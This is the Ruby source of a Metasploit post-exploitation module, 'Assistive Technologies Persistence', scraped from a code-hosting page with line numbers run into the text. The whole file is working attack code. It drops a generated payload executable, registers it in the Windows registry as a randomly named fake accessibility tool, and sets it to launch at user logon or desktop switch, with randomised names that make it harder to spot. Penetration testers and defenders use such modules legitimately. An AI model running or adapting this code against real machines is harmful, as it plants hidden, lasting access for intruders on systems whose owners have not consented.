Path: blob/master/modules/exploits/windows/persistence/assistive_technology.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11prepend Msf::Exploit::Remote::AutoCheck12include Msf::Post::Windows::Registry13include Msf::Post::Windows::Priv1415AT_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs'16STARUP_REG_PATH = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility'1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Assistive Technologies Persistence',23'Description' => %q{24This module achieves persistence by registering a custom Assistive Technology (AT) in the Windows registry.25Then it configures the system to launch the AT executable during user logon or desktop switch (such as with26an admin prived program).27Requires Windows 8 or higher and administrative privileges.28},29'Author' => ['h00die'],30'Platform' => ['win'],31'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],3233'SessionTypes' => ['meterpreter', 'shell'],34'References' => [35['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],36['URL', 'https://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/'],37['URL', 'https://msdn.microsoft.com/ru-ru/library/windows/desktop/bb879984.aspx']38],39'Targets' => [40[ 'Automatic', {} ]41],42'DefaultTarget' => 0,43'DisclosureDate' => '2016-07-22',44'Notes' => {45'Stability' => [CRASH_SAFE],46'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],47'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]48}49)50)5152register_options([53OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),54OptString.new('NAME', [false, 'Name of assistive technolog to create. Random string as default.']),55OptString.new('DESCRIPTION', [false, 'Description of assistive technolog to create. Random string as default.']),56])57end5859def create_at(at_name, payload_path)60target_key = "#{AT_REG_PATH}\\#{at_name}"61at_description = datastore['DESCRIPTION'] || Rex::Text.rand_text_alpha((rand(6..13)))6263registry_createkey(target_key)64registry_setvaldata(target_key, 'ApplicationName', '@%SystemRoot%\\system32\\AccessibilityCPL.dll,-85', 'REG_EXPAND_SZ')65registry_setvaldata(target_key, 'ATExe', payload_path.split('\\').last, 'REG_SZ')66registry_setvaldata(target_key, 'CopySettingsToLockedDesktop', 1, 'REG_DWORD')67registry_setvaldata(target_key, 'Description', at_description, 'REG_SZ')68registry_setvaldata(target_key, 'Profile', '<HCIModel><Accommodation type="mild dexterity"</HCIModel>', 'REG_SZ') # https://learn.microsoft.com/en-us/windows/win32/winauto/ease-of-access---assistive-technology-registration?redirectedfrom=MSDN#hci-profile69registry_setvaldata(target_key, 'SimpleProfile', at_name, 'REG_SZ')70registry_setvaldata(target_key, 'StartExe', payload_path, 'REG_EXPAND_SZ')71registry_setvaldata(target_key, 'TerminateOnDesktopSwitch', 0, 'REG_DWORD')72end7374def writable_dir75d = super76return session.sys.config.getenv(d) if d.start_with?('%')7778d79end8081def check82print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value83return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)8485version = get_version_info86return CheckCode::Safe('Only supported on Windows 8 and above') unless version.build_number >= Msf::WindowsVersion::Win88788return CheckCode::Safe('You have admin rights to run this Module') unless is_admin?8990CheckCode::Appears('Likely exploitable')91end9293def install_persistence94payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))95temp_path = writable_dir96payload_exe = generate_payload_exe97payload_pathname = temp_path + '\\' + payload_name98payload_pathname += '.exe' unless payload_pathname.downcase.end_with?('.exe')99100vprint_status("Payload pathname: #{payload_pathname}")101fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)102at_name = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))103vprint_status("Creating Assistive Technology #{at_name} registry entries")104create_at(at_name, payload_pathname)105vprint_status('Setting AT to start during login')106current_value = registry_getvaldata(STARUP_REG_PATH, 'Configuration')107new_value = current_value.empty? ? [] : current_value.split(',').map(&:strip)108new_value.append(at_name)109registry_setvaldata(STARUP_REG_PATH, 'Configuration', new_value.join(','), 'REG_SZ')110111print_good('New AT added. Will launch on logon or desktop switch (such as with an admin prived program).')112@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n"113@clean_up_rc << "execute -f cmd.exe -a '/c reg delete \"#{AT_REG_PATH}\\#{at_name}\" /f' -H\n"114@clean_up_rc << "execute -f cmd.exe -a '/c reg add \"#{STARUP_REG_PATH}\" /v Configuration /t REG_SZ /d \"#{current_value}\" /f' -H\n"115end116end117118119